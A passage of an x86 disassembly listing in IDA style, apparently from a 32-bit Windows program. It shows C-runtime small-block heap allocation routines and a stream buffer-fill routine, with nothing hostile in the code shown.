loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28B04D6h


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28B04D6h
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28B04D6h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28B05EFh
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
